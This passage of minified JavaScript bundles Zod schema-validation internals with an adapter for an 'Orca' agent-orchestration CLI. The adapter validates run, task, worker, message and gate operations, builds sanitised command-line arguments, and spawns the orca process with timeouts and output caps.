instanceof s)return[null,...i($.unwrap())];else if($ instanceof m$)return i($.unwrap());else if($ instanceof F$)return i($.unwrap());else if($ instanceof b$)return i($._def.innerType);else return[]};class x$ extends V{_parse($){let{ctx:W}=this._processInputParams($);if(W.parsedType!==j.object)return M(W,{code:B.invalid_type,expected:j.object,received:W.parsedType}),S;let H=this.discriminator,J=W.data[H],G=this.optionsMap.get(J);if(!G)return M(W,{code:B.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[H]}),S;if(W.common.async)return G._parseAsync({data:W.data,path:W.path,parent:W});else return G._parseSync({data:W.data,path:W.path,parent:W})}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create($,W,H){let J=new Map;for(let G of W){let X=i(G.shape[$]);if(!X.length)throw Error(`A discriminator value for key \`${$}\` could not be extracted from all schema options`);for(let Q of X){if(J.has(Q))throw Error(`Discriminator property ${String($)} has duplicate value ${String(Q)}`);J.set(Q,G)}}return new x$({typeName:L.ZodDiscriminatedUnion,discriminator:$,options:W,optionsMap:J,...R(H)})}}function i$($,W){let H=c($),J=c(W);if($===W)return{valid:!0,data:$};else if(H===j.object&&J===j.object){let G=z.objectKeys(W),X=z.objectKeys($).filter((q)=>G.indexOf(q)!==-1),Q={...$,...W};for(let q of X){let Y=i$($[q],W[q]);if(!Y.valid)return{valid:!1};Q[q]=Y.data}return{valid:!0,data:Q}}else if(H===j.array&&J===j.array){if($.length!==W.length)return{valid:!1};let G=[];for(let X=0;X<$.length;X++){let Q=$[X],q=W[X],Y=i$(Q,q);if(!Y.valid)return{valid:!1};G.push(Y.data)}return{valid:!0,data:G}}else if(H===j.date&&J===j.date&&+$===+W)return{valid:!0,data:$};else return{valid:!1}}class R$ extends V{_parse($){let{status:W,ctx:H}=this._processInputParams($),J=(G,X)=>{if(g$(G)||g$(X))return S;let Q=i$(G.value,X.value);if(!Q.valid)return M(H,{code:B.invalid_intersection_types}),S;if(T$(G)||T$(X))W.dirty();return{status:W.value,value:Q.data}};if(H.common.async)return Promise.all([this._def.left._parseAsync({data:H.data,path:H.path,parent:H}),this._def.right._parseAsync({data:H.data,path:H.path,parent:H})]).then(([G,X])=>J(G,X));else return J(this._def.left._parseSync({data:H.data,path:H.path,parent:H}),this._def.right._parseSync({data:H.data,path:H.path,parent:H}))}}R$.create=($,W,H)=>{return new R$({left:$,right:W,typeName:L.ZodIntersection,...R(H)})};class n extends V{_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==j.array)return M(H,{code:B.invalid_type,expected:j.array,received:H.parsedType}),S;if(H.data.length<this._def.items.length)return M(H,{code:B.too_small,minimum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),S;if(!this._def.rest&&H.data.length>this._def.items.length)M(H,{code:B.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),W.dirty();let G=[...H.data].map((X,Q)=>{let q=this._def.items[Q]||this._def.rest;if(!q)return null;return q._parse(new y(H,X,H.path,Q))}).filter((X)=>!!X);if(H.common.async)return Promise.all(G).then((X)=>{return C.mergeArray(W,X)});else return C.mergeArray(W,G)}get items(){return this._def.items}rest($){return new n({...this._def,rest:$})}}n.create=($,W)=>{if(!Array.isArray($))throw Error("You must pass an array of schemas to z.tuple([ ... ])");return new n({items:$,typeName:L.ZodTuple,rest:null,...R(W)})};class v$ extends V{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==j.object)return M(H,{code:B.invalid_type,expected:j.object,received:H.parsedType}),S;let J=[],G=this._def.keyType,X=this._def.valueType;for(let Q in H.data)J.push({key:G._parse(new y(H,Q,H.path,Q)),value:X._parse(new y(H,H.data[Q],H.path,Q)),alwaysSet:Q in H.data});if(H.common.async)return C.mergeObjectAsync(W,J);else return C.mergeObjectSync(W,J)}get element(){return this._def.valueType}static create($,W,H){if(W instanceof V)return new v$({keyType:$,valueType:W,typeName:L.ZodRecord,...R(H)});return new v$({keyType:T.create(),valueType:$,typeName:L.ZodRecord,...R(W)})}}class P$ extends V{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==j.map)return M(H,{code:B.invalid_type,expected:j.map,received:H.parsedType}),S;let J=this._def.keyType,G=this._def.valueType,X=[...H.data.entries()].map(([Q,q],Y)=>{return{key:J._parse(new y(H,Q,H.path,[Y,"key"])),value:G._parse(new y(H,q,H.path,[Y,"value"]))}});if(H.common.async){let Q=new Map;return Promise.resolve().then(async()=>{for(let q of X){let Y=await q.key,w=await q.value;if(Y.status==="aborted"||w.status==="aborted")return S;if(Y.status==="dirty"||w.status==="dirty")W.dirty();Q.set(Y.value,w.value)}return{status:W.value,value:Q}})}else{let Q=new Map;for(let q of X){let{key:Y,value:w}=q;if(Y.status==="aborted"||w.status==="aborted")return S;if(Y.status==="dirty"||w.status==="dirty")W.dirty();Q.set(Y.value,w.value)}return{status:W.value,value:Q}}}}P$.create=($,W,H)=>{return new P$({valueType:W,keyType:$,typeName:L.ZodMap,...R(H)})};class Q$ extends V{_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==j.set)return M(H,{code:B.invalid_type,expected:j.set,received:H.parsedType}),S;let J=this._def;if(J.minSize!==null){if(H.data.size<J.minSize.value)M(H,{code:B.too_small,minimum:J.minSize.value,type:"set",inclusive:!0,exact:!1,message:J.minSize.message}),W.dirty()}if(J.maxSize!==null){if(H.data.size>J.maxSize.value)M(H,{code:B.too_big,maximum:J.maxSize.value,type:"set",inclusive:!0,exact:!1,message:J.maxSize.message}),W.dirty()}let G=this._def.valueType;function X(q){let Y=new Set;for(let w of q){if(w.status==="aborted")return S;if(w.status==="dirty")W.dirty();Y.add(w.value)}return{status:W.value,value:Y}}let Q=[...H.data.values()].map((q,Y)=>G._parse(new y(H,q,H.path,Y)));if(H.common.async)return Promise.all(Q).then((q)=>X(q));else return X(Q)}min($,W){return new Q$({...this._def,minSize:{value:$,message:U.toString(W)}})}max($,W){return new Q$({...this._def,maxSize:{value:$,message:U.toString(W)}})}size($,W){return this.min($,W).max($,W)}nonempty($){return this.min(1,$)}}Q$.create=($,W)=>{return new Q$({valueType:$,minSize:null,maxSize:null,typeName:L.ZodSet,...R(W)})};class w$ extends V{constructor(){super(...arguments);this.validate=this.implement}_parse($){let{ctx:W}=this._processInputParams($);if(W.parsedType!==j.function)return M(W,{code:B.invalid_type,expected:j.function,received:W.parsedType}),S;function H(Q,q){return O$({data:Q,path:W.path,errorMaps:[W.common.contextualErrorMap,W.schemaErrorMap,B$(),p].filter((Y)=>!!Y),issueData:{code:B.invalid_arguments,argumentsError:q}})}function J(Q,q){return O$({data:Q,path:W.path,errorMaps:[W.common.contextualErrorMap,W.schemaErrorMap,B$(),p].filter((Y)=>!!Y),issueData:{code:B.invalid_return_type,returnTypeError:q}})}let G={errorMap:W.common.contextualErrorMap},X=W.data;if(this._def.returns instanceof Y$){let Q=this;return v(async function(...q){let Y=new I([]),w=await Q._def.args.parseAsync(q,G).catch((P)=>{throw Y.addIssue(H(q,P)),Y}),D=await Reflect.apply(X,this,w);return await Q._def.returns._def.type.parseAsync(D,G).catch((P)=>{throw Y.addIssue(J(D,P)),Y})})}else{let Q=this;return v(function(...q){let Y=Q._def.args.safeParse(q,G);if(!Y.success)throw new I([H(q,Y.error)]);let w=Reflect.apply(X,this,Y.data),D=Q._def.returns.safeParse(w,G);if(!D.success)throw new I([J(w,D.error)]);return D.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...$){return new w$({...this._def,args:n.create($).rest(o.create())})}returns($){return new w$({...this._def,returns:$})}implement($){return this.parse($)}strictImplement($){return this.parse($)}static create($,W,H){return new w$({args:$?$:n.create([]).rest(o.create()),returns:W||o.create(),typeName:L.ZodFunction,...R(H)})}}class D$ extends V{get schema(){return this._def.getter()}_parse($){let{ctx:W}=this._processInputParams($);return this._def.getter()._parse({data:W.data,path:W.path,parent:W})}}D$.create=($,W)=>{return new D$({getter:$,typeName:L.ZodLazy,...R(W)})};class V$ extends V{_parse($){if($.data!==this._def.value){let W=this._getOrReturnCtx($);return M(W,{received:W.data,code:B.invalid_literal,expected:this._def.value}),S}return{status:"valid",value:$.data}}get value(){return this._def.value}}V$.create=($,W)=>{return new V$({value:$,typeName:L.ZodLiteral,...R(W)})};function _W($,W){return new e({values:$,typeName:L.ZodEnum,...R(W)})}class e extends V{_parse($){if(typeof $.data!=="string"){let W=this._getOrReturnCtx($),H=this._def.values;return M(W,{expected:z.joinValues(H),received:W.parsedType,code:B.invalid_type}),S}if(!this._cache)this._cache=new Set(this._def.values);if(!this._cache.has($.data)){let W=this._getOrReturnCtx($),H=this._def.values;return M(W,{received:W.data,code:B.invalid_enum_value,options:H}),S}return v($.data)}get options(){return this._def.values}get enum(){let $={};for(let W of this._def.values)$[W]=W;return $}get Values(){let $={};for(let W of this._def.values)$[W]=W;return $}get Enum(){let $={};for(let W of this._def.values)$[W]=W;return $}extract($,W=this._def){return e.create($,{...this._def,...W})}exclude($,W=this._def){return e.create(this.options.filter((H)=>!$.includes(H)),{...this._def,...W})}}e.create=_W;class z$ extends V{_parse($){let W=z.getValidEnumValues(this._def.values),H=this._getOrReturnCtx($);if(H.parsedType!==j.string&&H.parsedType!==j.number){let J=z.objectValues(W);return M(H,{expected:z.joinValues(J),received:H.parsedType,code:B.invalid_type}),S}if(!this._cache)this._cache=new Set(z.getValidEnumValues(this._def.values));if(!this._cache.has($.data)){let J=z.objectValues(W);return M(H,{received:H.data,code:B.invalid_enum_value,options:J}),S}return v($.data)}get enum(){return this._def.values}}z$.create=($,W)=>{return new z$({values:$,typeName:L.ZodNativeEnum,...R(W)})};class Y$ extends V{unwrap(){return this._def.type}_parse($){let{ctx:W}=this._processInputParams($);if(W.parsedType!==j.promise&&W.common.async===!1)return M(W,{code:B.invalid_type,expected:j.promise,received:W.parsedType}),S;let H=W.parsedType===j.promise?W.data:Promise.resolve(W.data);return v(H.then((J)=>{return this._def.type.parseAsync(J,{path:W.path,errorMap:W.common.contextualErrorMap})}))}}Y$.create=($,W)=>{return new Y$({type:$,typeName:L.ZodPromise,...R(W)})};class Z extends V{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===L.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse($){let{status:W,ctx:H}=this._processInputParams($),J=this._def.effect||null,G={addIssue:(X)=>{if(M(H,X),X.fatal)W.abort();else W.dirty()},get path(){return H.path}};if(G.addIssue=G.addIssue.bind(G),J.type==="preprocess"){let X=J.transform(H.data,G);if(H.common.async)return Promise.resolve(X).then(async(Q)=>{if(W.value==="aborted")return S;let q=await this._def.schema._parseAsync({data:Q,path:H.path,parent:H});if(q.status==="aborted")return S;if(q.status==="dirty")return G$(q.value);if(W.value==="dirty")return G$(q.value);return q});else{if(W.value==="aborted")return S;let Q=this._def.schema._parseSync({data:X,path:H.path,parent:H});if(Q.status==="aborted")return S;if(Q.status==="dirty")return G$(Q.value);if(W.value==="dirty")return G$(Q.value);return Q}}if(J.type==="refinement"){let X=(Q)=>{let q=J.refinement(Q,G);if(H.common.async)return Promise.resolve(q);if(q instanceof Promise)throw Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return Q};if(H.common.async===!1){let Q=this._def.schema._parseSync({data:H.data,path:H.path,parent:H});if(Q.status==="aborted")return S;if(Q.status==="dirty")W.dirty();return X(Q.value),{status:W.value,value:Q.value}}else return this._def.schema._parseAsync({data:H.data,path:H.path,parent:H}).then((Q)=>{if(Q.status==="aborted")return S;if(Q.status==="dirty")W.dirty();return X(Q.value).then(()=>{return{status:W.value,value:Q.value}})})}if(J.type==="transform")if(H.common.async===!1){let X=this._def.schema._parseSync({data:H.data,path:H.path,parent:H});if(!r(X))return S;let Q=J.transform(X.value,G);if(Q instanceof Promise)throw Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:W.value,value:Q}}else return this._def.schema._parseAsync({data:H.data,path:H.path,parent:H}).then((X)=>{if(!r(X))return S;return Promise.resolve(J.transform(X.value,G)).then((Q)=>({status:W.value,value:Q}))});z.assertNever(J)}}Z.create=($,W,H)=>{return new Z({schema:$,typeName:L.ZodEffects,effect:W,...R(H)})};Z.createWithPreprocess=($,W,H)=>{return new Z({schema:W,effect:{type:"preprocess",transform:$},typeName:L.ZodEffects,...R(H)})};class m extends V{_parse($){if(this._getType($)===j.undefined)return v(void 0);return this._def.innerType._parse($)}unwrap(){return this._def.innerType}}m.create=($,W)=>{return new m({innerType:$,typeName:L.ZodOptional,...R(W)})};class s extends V{_parse($){if(this._getType($)===j.null)return v(null);return this._def.innerType._parse($)}unwrap(){return this._def.innerType}}s.create=($,W)=>{return new s({innerType:$,typeName:L.ZodNullable,...R(W)})};class K$ extends V{_parse($){let{ctx:W}=this._processInputParams($),H=W.data;if(W.parsedType===j.undefined)H=this._def.defaultValue();return this._def.innerType._parse({data:H,path:W.path,parent:W})}removeDefault(){return this._def.innerType}}K$.create=($,W)=>{return new K$({innerType:$,typeName:L.ZodDefault,defaultValue:typeof W.default==="function"?W.default:()=>W.default,...R(W)})};class b$ extends V{_parse($){let{ctx:W}=this._processInputParams($),H={...W,common:{...W.common,issues:[]}},J=this._def.innerType._parse({data:H.data,path:H.path,parent:{...H}});if(j$(J))return J.then((G)=>{return{status:"valid",value:G.status==="valid"?G.value:this._def.catchValue({get error(){return new I(H.common.issues)},input:H.data})}});else return{status:"valid",value:J.status==="valid"?J.value:this._def.catchValue({get error(){return new I(H.common.issues)},input:H.data})}}removeCatch(){return this._def.innerType}}b$.create=($,W)=>{return new b$({innerType:$,typeName:L.ZodCatch,catchValue:typeof W.catch==="function"?W.catch:()=>W.catch,...R(W)})};class I$ extends V{_parse($){if(this._getType($)!==j.nan){let H=this._getOrReturnCtx($);return M(H,{code:B.invalid_type,expected:j.nan,received:H.parsedType}),S}return{status:"valid",value:$.data}}}I$.create=($)=>{return new I$({typeName:L.ZodNaN,...R($)})};var B3=Symbol("zod_brand");class m$ extends V{_parse($){let{ctx:W}=this._processInputParams($),H=W.data;return this._def.type._parse({data:H,path:W.path,parent:W})}unwrap(){return this._def.type}}class k$ extends V{_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.common.async)return(async()=>{let G=await this._def.in._parseAsync({data:H.data,path:H.path,parent:H});if(G.status==="aborted")return S;if(G.status==="dirty")return W.dirty(),G$(G.value);else return this._def.out._parseAsync({data:G.value,path:H.path,parent:H})})();else{let J=this._def.in._parseSync({data:H.data,path:H.path,parent:H});if(J.status==="aborted")return S;if(J.status==="dirty")return W.dirty(),{status:"dirty",value:J.value};else return this._def.out._parseSync({data:J.value,path:H.path,parent:H})}}static create($,W){return new k$({in:$,out:W,typeName:L.ZodPipeline})}}class F$ extends V{_parse($){let W=this._def.innerType._parse($),H=(J)=>{if(r(J))J.value=Object.freeze(J.value);return J};return j$(W)?W.then((J)=>H(J)):H(W)}unwrap(){return this._def.innerType}}F$.create=($,W)=>{return new F$({innerType:$,typeName:L.ZodReadonly,...R(W)})};function XW($,W){let H=typeof $==="function"?$(W):typeof $==="string"?{message:$}:$;return typeof H==="string"?{message:H}:H}function BW($,W={},H){if($)return X$.create().superRefine((J,G)=>{let X=$(J);if(X instanceof Promise)return X.then((Q)=>{if(!Q){let q=XW(W,J),Y=q.fatal??H??!0;G.addIssue({code:"custom",...q,fatal:Y})}});if(!X){let Q=XW(W,J),q=Q.fatal??H??!0;G.addIssue({code:"custom",...Q,fatal:q})}return});return X$.create()}var j3={object:A.lazycreate},L;(function($){$.ZodString="ZodString",$.ZodNumber="ZodNumber",$.ZodNaN="ZodNaN",$.ZodBigInt="ZodBigInt",$.ZodBoolean="ZodBoolean",$.ZodDate="ZodDate",$.ZodSymbol="ZodSymbol",$.ZodUndefined="ZodUndefined",$.ZodNull="ZodNull",$.ZodAny="ZodAny",$.ZodUnknown="ZodUnknown",$.ZodNever="ZodNever",$.ZodVoid="ZodVoid",$.ZodArray="ZodArray",$.ZodObject="ZodObject",$.ZodUnion="ZodUnion",$.ZodDiscriminatedUnion="ZodDiscriminatedUnion",$.ZodIntersection="ZodIntersection",$.ZodTuple="ZodTuple",$.ZodRecord="ZodRecord",$.ZodMap="ZodMap",$.ZodSet="ZodSet",$.ZodFunction="ZodFunction",$.ZodLazy="ZodLazy",$.ZodLiteral="ZodLiteral",$.ZodEnum="ZodEnum",$.ZodEffects="ZodEffects",$.ZodNativeEnum="ZodNativeEnum",$.ZodOptional="ZodOptional",$.ZodNullable="ZodNullable",$.ZodDefault="ZodDefault",$.ZodCatch="ZodCatch",$.ZodPromise="ZodPromise",$.ZodBranded="ZodBranded",$.ZodPipeline="ZodPipeline",$.ZodReadonly="ZodReadonly"})(L||(L={}));var M3=($,W={message:`Input not instance of ${$.name}`})=>BW((H)=>H instanceof $,W),jW=T.create,MW=a.create,w3=I$.create,U3=t.create,wW=U$.create,S3=J$.create,N3=f$.create,L3=S$.create,R3=N$.create,D3=X$.create,V3=o.create,z3=u.create,K3=C$.create,b3=x.create,F3=A.create,E3=A.strictCreate,A3=L$.create,O3=x$.create,f3=R$.create,C3=n.create,v3=v$.create,P3=P$.create,I3=Q$.create,k3=w$.create,h3=D$.create,g3=V$.create,T3=e.create,x3=z$.create,m3=Y$.create,y3=Z.create,Z3=m.create,l3=s.create,c3=Z.createWithPreprocess,u3=k$.create,n3=()=>jW().optional(),d3=()=>MW().optional(),p3=()=>wW().optional(),i3={string:($)=>T.create({...$,coerce:!0}),number:($)=>a.create({...$,coerce:!0}),boolean:($)=>U$.create({...$,coerce:!0}),bigint:($)=>t.create({...$,coerce:!0}),date:($)=>J$.create({...$,coerce:!0})};var s3=S;var o3=["run-create","run-list","run-show","run-current","run-use","task-create","task-list","task-update","worker-start","worker-show","worker-read","worker-release","send","check","reply","ask","gate-create","gate-list","gate-resolve"];class E extends Error{code;operation;phase;retrySafety;recovery;stderr;name="OrcaAdapterError";constructor($,W,H,J,G,X,Q){super(X);this.code=$;this.operation=W;this.phase=H;this.retrySafety=J;this.recovery=G;this.stderr=Q}}var N=_.string().regex(/^[A-Za-z][A-Za-z0-9_-]{0,127}$/),$W=($)=>_.string().refine((W)=>W===W.normalize("NFC"),"must be NFC-normalized").refine((W)=>!W.includes("\x00")&&!/[\uD800-\uDFFF]/u.test(W),"contains an invalid code point").refine((W)=>Buffer.byteLength(W,"utf8")>=1&&Buffer.byteLength(W,"utf8")<=$),k=$W(16384),l=$W(512),W$=$W(256),h$=_.string().min(1).max(512).regex(/^[\x21-\x7E]+$/).refine(($)=>!$.startsWith("-")&&!/[;&|`$<>\\(){}\[\]*?!'\"]/.test($)),DW=h$.refine(($)=>Buffer.byteLength($,"utf8")<=128),UW=_.number().int().min(1).max(100),s$=_.number().int().min(250).max(600000),c$=_.enum(["pending","ready","dispatched","completed","failed","blocked"]),VW=_.enum(["pending","resolved"]),l$=_.enum(["status","dispatch","worker_done","merge_ready","escalation","handoff","question","decision_gate","heartbeat"]),a3=_.enum(["low","normal","high","urgent"]),zW=_.enum(["auto","transcript","terminal"]),KW=_.enum(["claude","codex","cursor","droid","gemini","grok","opencode"]),bW=_.enum(["low","medium","high","xhigh"]),$$=($,W,H=0)=>_.array($).min(H).max(W).refine((J)=>new Set(J).size===J.length,"items must be unique"),FW=_.object({summary:k,artifacts:$$(W$,32).optional()}).strict().refine(($)=>Buffer.byteLength(JSON.stringify($))<=32768),t3=_.object({taskId:N.optional(),dispatchId:N.optional(),phase:W$.optional(),outcome:_.enum(["succeeded","failed"]).optional(),filesModified:$$(W$,128).optional(),reportPath:W$.optional()}).strict().refine(($)=>Object.keys($).length>0,"payload must not be empty").refine(($)=>Buffer.byteLength(JSON.stringify($))<=32768),f=($,W)=>_.object({operation:_.literal($),...W}).strict(),EW=_.union([f("run-create",{objective:k}),f("run-list",{limit:UW.optional(),cursor:h$.optional()}),f("run-show",{id:N}),f("run-current",{}),f("run-use",{id:N}),f("task-create",{spec:k,title:l.optional(),deps:$$(N,64).optional(),parent:N.optional()}),f("task-list",{status:c$.optional(),ready:_.boolean().optional(),brief:_.boolean().optional()}),f("task-update",{id:N,status:c$,result:FW.optional()}),f("worker-start",{task:N,agent:KW,model:DW.optional(),effort:bW.optional(),timeoutMs:s$.optional()}).refine(($)=>$.effort===void 0||$.model!==void 0,{message:"effort requires model"}),f("worker-show",{dispatch:N}),f("worker-read",{dispatch:N,source:zW.optional(),cursor:h$.optional(),limit:UW.optional()}),f("worker-release",{dispatch:N}),f("send",{subject:l,body:k.optional(),type:l$.optional(),priority:a3.optional(),threadId:N.optional(),payload:t3.optional()}),f("check",{ack:N.optional(),unread:_.boolean().optional(),peek:_.boolean().optional(),all:_.boolean().optional(),types:$$(l$,l$.options.length,1).optional(),wait:_.boolean().optional(),timeoutMs:s$.optional()}).refine(($)=>[$.unread,$.peek,$.all].filter((W)=>W===!0).length<=1,{message:"unread, peek, and all are mutually exclusive"}).refine(($)=>$.timeoutMs===void 0||$.wait===!0,{message:"timeoutMs requires wait"}),f("reply",{id:N,body:k}),f("ask",{question:l.optional(),resume:N.optional(),options:$$(W$,10,1).optional(),timeoutMs:s$.optional()}).refine(($)=>$.question===void 0!==($.resume===void 0),{message:"exactly one of question or resume is required"}).refine(($)=>$.options===void 0||$.question!==void 0,{message:"options require question"}).refine(($)=>$.options?.every((W)=>!/[,\r\n]/.test(W))??!0,{message:"ask options cannot contain comma, CR, or LF"}),f("gate-create",{task:N,question:l,options:$$(W$,10,1).optional()}),f("gate-list",{task:N.optional(),status:VW.optional()}),f("gate-resolve",{id:N,resolution:k,task:N})]);function F($,W){if(W.length>0&&W[0]==="-")throw new E("invalid_argument","runtime","validate","safe","Correct the rejected semantic value and retry.",`${$} has a flag-shaped value`);return[$,W]}function O($,W){return W===void 0?[]:F($,String(W))}function E$($,W){return W===!0?[$]:[]}function SW($){let W=EW.safeParse($);if(!W.success){let G=e3($);throw new E(G===void 0?"invalid_operation":"invalid_argument",G??"runtime","validate","safe","Correct the semantic input and retry.",W.error.issues.map((X)=>X.message).join("; "))}let H=W.data,J=$0(H);return Object.freeze(["orchestration",H.operation,...J,"--json"])}function e3($){if(typeof $!=="object"||$===null||!("operation"in $))return;let W=$.operation;return o3.find((H)=>H===W)}function $0($){switch($.operation){case"run-create":return F("--objective",$.objective);case"run-list":return[...O("--limit",$.limit),...O("--cursor",$.cursor)];case"run-show":case"run-use":return F("--id",$.id);case"run-current":return[];case"task-create":return[...F("--spec",$.spec),...O("--task-title",$.title),...$.deps===void 0?[]:F("--deps",JSON.stringify($.deps)),...O("--parent",$.parent)];case"task-list":return[...O("--status",$.status),...E$("--ready",$.ready),...E$("--brief",$.brief)];case"task-update":return[...F("--id",$.id),...F("--status",$.status),...$.result===void 0?[]:F("--result",JSON.stringify($.result))];case"worker-start":return[...F("--task",$.task),"--worktree","current",...F("--agent",$.agent),...O("--model",$.model),...O("--effort",$.effort),...O("--timeout-ms",$.timeoutMs)];case"worker-show":case"worker-release":return F("--dispatch",$.dispatch);case"worker-read":return[...F("--dispatch",$.dispatch),...O("--source",$.source),...O("--cursor",$.cursor),...O("--limit",$.limit)];case"send":return[...F("--subject",$.subject),...O("--body",$.body),...O("--type",$.type),...O("--priority",$.priority),...O("--thread-id",$.threadId),...$.payload===void 0?[]:F("--payload",JSON.stringify($.payload))];case"check":return[...O("--ack",$.ack),...E$("--unread",$.unread),...E$("--peek",$.peek),...E$("--all",$.all),...$.types===void 0?[]:F("--types",$.types.join(",")),...E$("--wait",$.wait),...O("--timeout-ms",$.timeoutMs)];case"reply":return[...F("--id",$.id),...F("--body",$.body)];case"ask":return[...$.question===void 0?F("--resume",$.resume):F("--question",$.question),...$.options===void 0?[]:F("--options",$.options.join(",")),...O("--timeout-ms",$.timeoutMs)];case"gate-create":return[...F("--task",$.task),...F("--question",$.question),...$.options===void 0?[]:F("--options",JSON.stringify($.options))];case"gate-list":return[...O("--task",$.task),...O("--status",$.status)];case"gate-resolve":return[...F("--id",$.id),...F("--resolution",$.resolution)]}}function W0($={}){let W=$.platform??process.platform;if(W==="win32")return"orca.exe";if(W==="darwin")return"orca";if(W==="linux")return $.managedTerminal===!0?"orca":"orca-ide";throw new E("unsupported_platform","runtime","resolve","safe","Run the adapter on a supported Orca host.",`unsupported platform: ${W}`)}var H0=30000,G0=1048576,J0=65536,X0=1000,Q0=1000,AW=async($)=>new Promise((W,H)=>{let J=r3($.executable,[...$.argv],{shell:$.shell,env:$.env,stdio:["ignore","pipe","pipe"],windowsHide:!0}),G=[],X=[],Q=0,q=0,Y=!1,w=!1,D=!1,g=!1,P,d,_$=(h)=>{if(Y)return;if(Y=!0,clearTimeout(HW),P!==void 0)clearTimeout(P);if(d!==void 0)clearTimeout(d);W(h)},n$=()=>{J.kill("SIGTERM"),P??=setTimeout(()=>{J.kill("SIGKILL"),d??=setTimeout(()=>_$({exitCode:null,signal:"SIGKILL",stdout:Buffer.concat(G).toString("utf8"),stderr:Buffer.concat(X).toString("utf8"),timedOut:w,outputLimited:D,transportLost:!0}),Q0)},X0)},HW=setTimeout(()=>{w=!0,n$()},$.timeoutMs);J.stdout.on("data",(h)=>{if(Q+=h.length,Q>$.maxStdoutBytes)D=!0,n$();else G.push(h)}),J.stderr.on("data",(h)=>{if(q+=h.length,q>$.maxStderrBytes)D=!0,n$();else X.push(h)}),J.once("spawn",()=>{g=!0}),J.once("error",(h)=>{if(Y)return;if(g){_$({exitCode:null,stdout:Buffer.concat(G).toString("utf8"),stderr:`${Buffer.concat(X).toString("utf8")} -process transport error: ${h.message}`,timedOut:w,outputLimited:D,transportLost:!0});return}if(Y=!0,clearTimeout(HW),P!==void 0)clearTimeout(P);if(d!==void 0)clearTimeout(d);H(h)}),J.once("close",(h,hW)=>{if(Y)return;_$({exitCode:h,signal:hW,stdout:Buffer.concat(G).toString("utf8"),stderr:Buffer.concat(X).toString("utf8"),timedOut:w,outputLimited:D})})}),A$=N,K=($)=>_.object($).strict(),r$=K({id:N,objective:k.optional(),coordinatorTerminalHandle:A$.optional()}),y$=K({id:N,objective:k,home_database:_.string().min(1).max(128),coordinator_handle:A$,coordinator_pane_key:_.string().min(1).max(256),consumer_generation:_.number().int().positive(),legacy:_.number().int().min(0).max(1),created_at:_.string().min(1).max(64),updated_at:_.string().min(1).max(64)}),Y0=K({id:N,spec:k,title:l.optional(),deps:$$(N,64).optional(),parent:N.optional(),status:c$,result:FW.optional()}),o$=K({id:N,run_id:N,parent_id:N.nullable(),created_by_terminal_handle:A$,created_by_pane_key:_.string().min(1).max(256),created_by_process_incarnation:_.string().min(1).max(512),created_by_run_generation:_.number().int().positive(),task_title:l,display_name:l,spec:k,status:c$,deps:_.string().max(16384),result:_.string().max(32768).nullable(),created_at:_.string().min(1).max(64),completed_at:_.string().min(1).max(64).nullable()}),Z$=K({requestId:_.string().uuid(),replayed:_.boolean()}),NW=K({consumerGeneration:_.number().int().positive()}),q0=K({id:N,taskId:N,agent:KW.optional(),model:DW.optional(),effort:bW.optional(),state:W$.optional(),terminalDisposition:_.enum(["released","retained"]).optional()}),_0=K({id:N,taskId:N,question:l,options:$$(W$,10,1).optional(),status:VW,resolution:k.optional()}),LW=K({messageId:N}),B0=_.union([K({messageId:N,state:_.literal("answered"),answer:k}),K({messageId:N,state:_.literal("pending")})]),j0=K({deliveryId:N.optional(),acknowledged:_.boolean().optional(),messages:_.array(K({id:N,type:l$,subject:l})).max(50).optional(),count:_.number().int().min(0).max(50).optional()}),M0={"run-create":_.union([K({runId:N}),K({run:y$,binding:NW,mutation:Z$})]),"run-list":K({runs:_.array(r$).max(100),cursor:h$.optional()}),"run-show":K({run:_.union([r$,y$])}),"run-current":_.union([K({run:r$,coordinatorTerminalHandle:A$}),K({run:y$.nullable()})]),"run-use":_.union([K({runId:N,coordinatorTerminalHandle:A$}),K({run:y$,binding:NW,mutation:Z$})]),"task-create":_.union([K({taskId:N}),K({task:o$,mutation:Z$})]),"task-list":_.union([K({tasks:_.array(Y0).max(100)}),K({runId:N,legacyReadOnly:_.boolean(),tasks:_.array(o$).max(100),count:_.number().int().min(0).max(100)})]),"task-update":_.union([K({taskId:N}),K({task:o$,mutation:Z$})]),"worker-start":K({dispatchId:N,taskId:N}),"worker-show":K({dispatch:q0}),"worker-read":K({dispatchId:N,source:zW,output:k,cursor:h$.optional()}),"worker-release":K({dispatchId:N}),send:LW,check:j0,reply:LW,ask:B0,"gate-create":K({gateId:N,taskId:N}),"gate-list":K({gates:_.array(_0).max(100)}),"gate-resolve":K({gateId:N,taskId:N})},w0=_.object({id:_.string().min(1).max(256),ok:_.boolean(),result:_.unknown().optional(),error:_.object({code:_.string().min(1).max(128),message:_.string().min(1).max(4096)}).strict().optional(),_meta:_.object({runtimeId:N,runtimeVersion:l.optional(),version:l.optional(),invokingTerminal:A$.optional()}).strict().optional()}).strict().refine(($)=>$.ok?$.result!==void 0&&$.error===void 0:$.result===void 0&&$.error!==void 